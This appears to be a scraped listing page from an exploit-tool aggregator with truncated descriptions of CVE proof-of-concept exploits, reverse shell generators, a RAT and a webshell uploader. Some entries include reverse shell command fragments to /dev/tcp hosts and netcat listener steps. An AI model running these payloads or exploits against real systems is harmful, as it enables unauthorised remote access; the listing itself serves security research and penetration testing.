CVE-2022-46196

CVE-2022-46196 Description This Python code exploits an unauthenticated command injection vulnerability in Cacti versions up to and including 1.2.22. It uses argparse to parse arguments from the command line, requests to get the HTML content of a target Cacti instance, and BeautifulSoup to extrac...

CVE-2023-43208-PoC

CVE-2023-43208 - Mirth Connect Unauthenticated RCE Requirements Python 3.11 or higher tested on 3.11, 3.12, 3.13 Setup root@kitploit: Create a clean virtual environment python3 -m venv .venv source .venv/bin/activate Install pinned dependencies pip install -r requirements.txt Usage root@kitploit:...

CVE-2017-7269

EN GenWebDavIISExploit is a PoC tool demonstrating an exploit for a known vulnerability in the WebDAV component of IIS6. This tool is designed for educational and research purposes to showcase how the vulnerability can be leveraged to execute arbitrary code on a remote server. Disclaimer This...

CVE-2018-17246

CVE-2018-17246 - Kibana LFI There is no input validation so we can change the name of the JavaScript file to anything we want. In this case, with the path traversal technique, we can choose any file on the Kibana server. One thing to be aware of, however, is node's module caching feature...

RevShell

🔥 RevShell Project — Advanced Windows Reverse Shell root@kitploit: ██▀███ ▓█████ ██▒ █▓ ██████ ██░ ██ ▓█████ ██▓ ██▓ ▓██ ▒ ██▒▓█ ▀ ▓██░ █▒ ▒██ ▒ ▓██░ ██▒ ▓█ ▀ ▓██▒ ▓██▒ ▓██ ░▄█ ▒▒███ ▓██ █▒░ ░ ▓██▄ ▒██▀▀██░ ▒███ ▒██░ ▒██░ ▒██▀▀█▄ ▒▓█ ▄ ▒██ █░░ ▒ ██▒░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██░ ░██▓ ▒██▒░▒████▒ ▒▀█░...

PHP-REVERSE-SHELL

PHP Reverse Shell Powerful & Stealthy This is a powerful and stealthy PHP reverse shell designed for ethical hacking and penetration testing. It establishes a reliable and quiet connection back to your machine. ⚠️ Disclaimer This PHP reverse shell is developed strictly for educational and...

CVE-2024-40453

CVE-2024-40453 - Squirrelly v9.0.0 RCE Disclaimer: This script is for educational use only. Do not use it for illegal purposes. If you do, it’s entirely your responsibility; I am not liable for any misuse. Description This script creates a reverse shell called payload.sh in the current directory...

CVE-2021-25646

usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd Reverse shell as follows: Write reverse shell script python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" Grant execution permission to the shell script python3 CVE-2021-25646.py -u...

gimmeSH

gimmeSH For pentesters who don't wanna leave their terminals. Few Words gimmeSH, is a tool that generates a custom cheatsheet for Reverse Shell, File Transfer and Msfvenom within your terminal, you just need to provide the platform, your Internet protocol address and your port number. Installatio...

POC-IngressNightmare-CVE-2025-1974

Shell.so Builder Alpine-based This project allows you to build a shell.so payload using Alpine Linux inside a Docker container. Instructions 1. Clone the repository : git clone cd 2. Build the payload : ./runbuild.sh The compiled shell.so will be generated in the project root directory. ⚠️...

CVE-2025-6002

针对 CVE-2025-6002 的漏洞利用 该脚本利用 VirtueMart 4.4.10 中经过认证的任意文件上传漏洞（CVE-2025-6002），该漏洞在这篇博客文章中有所描述：https://blog.blacklanternsecurity.com/p/doomla-zero-days 该脚本使用给定的凭据登录 VirtueMart，创建一个新产品，并将一个 PHP webshell 作为媒体文件上传。随后，它会向所提供的 IP/端口发起一个反弹 shell。 参数： --url: VirtueMart 的 URL --username: 管理员用户名...

XeytanWxCpp-RAT

WARNING THIS PROJECT IS STILL IN THE EARLY PHASES OF DEVELOPMENT. AT THIS MOMENT IN TIME, THE APPLICATION LOOKS HORRIBLE, THERE IS AN ODD BUG FIRST TODO POINT, SEE BELOW THAT HAS TO BE FIXED ASAP. Introduction RAT application written in C++ using wxWidgets framework. Features Get client's system...

CVE-2017-7494

CVE-2017-7494 CVE-2017-7494 C poc Use CVE-2017-7494 to get a reverse shell 1. First compile sambainit.c to generate libsamba.so 2. Modify the relevant addresses in isknownpipename.c, compile and execute...

htb-wifinetictwo-exploit

CVE-2021-31630 Exploit PoC This Python script is a Proof of Concept PoC exploit for CVE-2021-31630, targeting a vulnerability in OpenPLC running on the WifineticTwo box at HackTheBox. It is designed for educational purposes only, aiming to demonstrate the exploitation process in a controlled...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a"...

CVE-2007-2447

CVE-2007-2447 To test the script I recommend you the virtual machine "metasploitable 2" available here. The script will display a reverse shell if the exploit works. To get the connection, just open a netcat session like : root@kitploit: netcat -lnvp Table of contents Exemples Requirements Payloa...

cgi-bin-shellshock

How to use Clone the repository or just copy-paste the one you prefer root@kitploit: sudo git clone https://github.com/Gurguii/shellshock.sh Run the script Bash root@kitploit: bash shellshock.sh -u -h -p Python root@kitploit: python3 shellshock.py -u -lh -lp Note: default LPORT is 4444, URL...

CVE-2025-24893-Reverse-Shell

CVE-2025-24893 - XWiki Remote Code Execution Exploit PoC for CVE-2025-24893 – XWiki Macro Remote Code Execution Inspired by Artemir's original PoC Description This is a Proof-of-Concept PoC exploit for CVE-2025-24893 , a Remote Code Execution RCE vulnerability in vulnerable versions of XWiki. The...

CVE-2024-32002-Reverse-Shell

CVE-2024-32002-Reverse-Shell Este script demuestra cómo explotar la vulnerabilidad CVE-2024-32002 para obtener una reverse shell, proporcionando acceso remoto al sistema afectado. Úselo con precaución en entornos controlados y solo con fines educativos o de pruebas de seguridad. Publicación del...

CVE-2024-50498

CVE-2024-50498 Description Improper Control of Generation of Code 'Code Injection' vulnerability in LUBUS WP Query Console allows Code Injection.This issue affects WP Query Console: from n/a through 1.0. Setup Netcat Listener: Open a terminal on your machine and start a Netcat listener to wait fo...